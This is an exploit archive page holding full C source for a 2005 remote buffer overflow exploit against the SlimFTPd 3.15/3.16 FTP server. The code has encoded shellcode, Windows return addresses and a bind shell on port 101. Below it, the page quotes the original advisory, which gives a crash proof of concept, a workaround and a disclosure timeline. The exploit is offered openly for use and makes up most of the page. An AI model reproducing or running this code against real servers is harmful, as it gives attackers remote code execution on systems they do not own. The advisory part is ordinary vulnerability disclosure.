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redslim-slimftpd.c

redslim-slimftpd.c
Posted Jul 28, 2005
Authored by redsand

SlimFTPd versions 3.15 and 3.16 remote buffer overflow exploit.

tags | exploit, remote, overflow
MD5 | 6de66a6620ad884289395e9b9cb90a4f

redslim-slimftpd.c

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PUBLIC Working Exploit for this Vulnerability

http://redsand.net/code/redslim-slimftpd.c




/*
*
* Written by redsand
* <redsand@redsand.net>
*
* Jul 22, 2005
* Vulnerable: SlimFtpd v3.15 and v3.16
* origional vuln found by: Raphaël Rigo
*
* Usage: ./redslim 127.0.0.1 [# OS RET ]
*
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
#include <winsock2.h>
#include <windows.h>
// #pragma lib <ws2_32.lib> // win32-lcc specific
#pragma comment(lib, "ws2_32.lib") // ms vc++
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif


#define USERNAME "anonymous"
#define PASSWORD "log@in.net"


// buf size = 512 + max

#define NOP 0x90
#define BUFSIZE 2048
#define PORT 21
#define LSZ 525

unsigned char *login [] = { "USER "USERNAME"\r\n", "PASS "PASSWORD"\r\n",
"LIST ", "XMKD AAAAAAAA\r\n", "CWD AAAAAAAA\r\n", NULL };

unsigned char *targets [] =
{
"Windows XP SP0/SP1 ",
"Windows XP SP2 ",
"Windows 2000 SP1/SP4 ",
"Windows 2003 Server SP1",
"Denial-of-Service",
NULL
};

unsigned long offsets [] =
{
// jmp esi
0x71a5b80b, // Windows XP 5.1.1.0 SP1 (IA32) Windows XP 5.1.0.0 SP0 (IA32)
0x77f1a322, // Windows XP 5.1.2.0 SP2 (IA32)
0x74ffbb65, // Windows 2000 5.0.1.0 SP1 (IA32) Windows 2000
5.0.4.0 SP4 (IA32)
0x77f7fe67, // Windows 2003 Server 5.2.1.0 SP1 (IA32)
0x44434241,
0
};

unsigned char shellcode[] = "\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";

long gimmeip(char *);
void keepout();
void shell(int);

void keepout() {
#ifdef WIN
WSACleanup();
#endif
exit(1);
}

void banner() {
printf("- SlimFtpd v3.15 and v3.16 remote buffer overflow\n");
printf("- Written by redsand (redsand [at] redsand.net)\n");
}

void usage(char *prog) {
int i;
banner();
printf("- Usage: %s <target ip> <OS> [target port]\n", prog);
printf("- Targets:\n");
for (i=0; targets[i] != NULL; i++)
printf("\t- %d\t%s\n", i, targets[i]);
printf("\n");

exit(1);
}

/***************************************************************/
long gimmeip(char *hostname) {
struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
keepout();
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}

return ipaddr;
}

int main(int argc, char *argv[]) {
int sock;
char expbuff[BUFSIZE];
char recvbuff[BUFSIZE];
void *p;
unsigned short tport = PORT; // default port for ftp
struct sockaddr_in target;
unsigned long retaddr;
int len,i=0;
unsigned int tar;

#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(2,0), &wsadata);
#endif


if(argc < 3) usage(argv[0]);

if(argc == 4)
tport = atoi(argv[3]);

banner();
tar = atoi(argv[2]);
retaddr = offsets[tar];


printf("- Using return address of 0x%8x : %s\n",retaddr,targets[tar]);
printf("\n[+] Initialize socket.");
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("[x] Error socket. Exiting...\n");
keepout();
}

memset(&target,0x00,sizeof(target));
target.sin_family = AF_INET;
target.sin_addr.s_addr = gimmeip(argv[1]);
target.sin_port = htons(tport);


printf("\n[+] Prepare exploit buffer... ");
memset(expbuff, 0x00, BUFSIZE);
memset(recvbuff, 0x00, BUFSIZE);


memcpy(expbuff, login[2], strlen(login[2]));
p = &expbuff[strlen(login[2]) ];

memset(p, NOP, LSZ);
memcpy(&expbuff[10],shellcode,sizeof(shellcode)-1);

*(unsigned long *)&expbuff[507] = retaddr;
p = &expbuff[511];
memcpy(p, "\n",1);

printf("\n[+] Connecting at %s:%hu...", argv[1], tport);
fflush(stdout);
if (connect(sock,(struct sockaddr*)&target,sizeof(target))!=0) {
fprintf(stderr,"\n[x] Couldn't establish connection. Exiting...\n");
keepout();
}
printf(" - OK.\n");
len = recv(sock, recvbuff, BUFSIZE-1, 0);
if(len < 0) {
fprintf(stderr,"\nError response server\n");
exit(1);
}

printf(" - Size of payload is %d bytes",strlen(expbuff));


printf("\n[+] Initiating exploit... ");
printf("\n - Sending USER...");
if(send(sock,login[0],strlen(login[0]),0)==-1) {
fprintf(stderr,"\n[-] Exploit failed.\n");
keepout();
}

len = recv(sock, recvbuff, BUFSIZE-1,0);
if(len < 0) {
fprintf(stderr,"\nError recv.");
exit(1);
}
recvbuff[len] = 0;

printf("\n - Sending PASS...");

if(send(sock,login[1],strlen(login[1]),0)==-1) {
printf("\n[-] Exploit failed.\n");
keepout();
}

len = recv(sock, recvbuff, BUFSIZE, 0);
if(len < 0) {
fprintf(stderr,"\nError recv.");
exit(1);
}
recvbuff[len] = 0;

printf("\n - Creating X-DIR...");

if(send(sock,login[3],strlen(login[3]),0)==-1) {
printf("\n[-] Exploit failed.\n");
keepout();
}

len = recv(sock, recvbuff, BUFSIZE, 0);
if(len < 0) {
fprintf(stderr,"\nError recv.");
exit(1);
}
recvbuff[len] = 0;

if(send(sock,login[4],strlen(login[4]),0)==-1) {
printf("\n[-] Exploit failed.\n");
keepout();
}

len = recv(sock, recvbuff, BUFSIZE, 0);
if(len < 0) {
fprintf(stderr,"\nError recv.");
exit(1);
}
recvbuff[len] = 0;

printf("\n - Sending Exploit String...");
if(send(sock,expbuff,strlen(expbuff),0)==-1) {
printf("\n[-] Exploit failed.\n");
keepout();
}

printf("- OK.");

printf("\n[+] Now try to connect to the shell on %s:101\n", argv[1] );



#ifdef WIN
closesocket(sock);
WSACleanup();
#else
close(sock);
#endif

return(0);
}







> Arbitrary code execution in SlimFTPd v3.16
>
> discovered by Raphaël Rigo
>
> Product: SlimFTPd by WhitSoft Development
> Affected Version: 3.16 (verified), <=3.16 probably too
> Not affected Version: 3.17
> OS affected: All Win32
> Risk: Critical
> Remote Exploit: yes
> URL: http://www.whitsoftdev.com/slimftpd/
>
> Overview
> ========
>
> SlimFTPd is a fully standards-compliant FTP server implementation with an
> advanced virtual file system. It is extremely small, but don't let its
> file
> size deceive you: SlimFTPd packs a lot of bang for the kilobyte. It is
> written
> in pure Win32 C++ with no external dependencies and no messy installer.
> SlimFTPd is a fully multi-threaded application that runs as a system
> service on
> Windows 98/ME or Windows NT/2K/XP, and it comes with a tool to simplify
> its
> installation or uninstallation as a system service. Once the service is
> started, SlimFTPd runs quietly in the background. It reads its
> configuration
> from a config file in the same folder as the executable, and it outputs
> all
> activity to a log file in the same place. The virtual file system allows
> you
> to mount any local drive or path to any virtual path on the server. This
> allows
> you to have multiple local drives represented on the server's virtual file
> system or just different folders from the same drive. SlimFTPd allows you
> to
> set individual permissions for server paths. Open slimftpd.conf in your
> favorite text editor to set up SlimFTPd's configuration. The format of
> SlimFTPd's config file is similar to Apache Web Server's for those
> familiar
> with Apache.
>
> Vulnerability
> =============
>
> An unchecked string concatenation allows a classic stack
> overflow.
>
> Details :
> The handler for the LIST, DELE and RNFR commands builds a string
> by
> concatenating the current directory with the requested dir/file.
> The requested and current directory can occupy up to 512 bytes,
> as
> the destination buffer, which can therefore be overflowed.
> The minimal length for the current remote directory to allow
> exploitation is 8 chars.
>
> Risk : Critical
> The attacker may execute arbitrary code with the privileges of
> the
> user the server is running as.
> This risk is mitigated by the need to be logged in.
>
> Proof of concept :
> ftp> open localhost
> Connected to localhost.
> 220-SlimFTPd 3.16, by WhitSoft Development (www.whitsoftdev.com)
> 220-You are connecting from localhost:2687.
> 220 Proceed with login.
> User (localhost:(none)) : bleh
> 331 Need password for user "bleh".
> Password :
> 230 User "bleh" logged in.
> ftp> cd 123456789
> 250 "/123456789" is now current directory.
> ftp> quote RNFR
> 123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345678901234567890123456789012345678901234
> 5678901234567890123456789012345
> Connection closed.
>
> SlimFTPd crashes at eip 0x35343332.
>
> Workaround :
> Disable List and Write rights.
>
> Solution :
> Update to v3.17
>
> -----------------------------------------------------------------------
>
> Acknowledgments
> ==============
>
> Thanks to the developer for quick response and fix.
>
> Timeline
> ========
> 2005-07-07 Discovery
> 2005-07-08 First attempt to contact developer
> 2005-07-08 Developer reply
> 2005-07-11 Fixed version 3.17 released
> 2005-07-21 Advisory published
>


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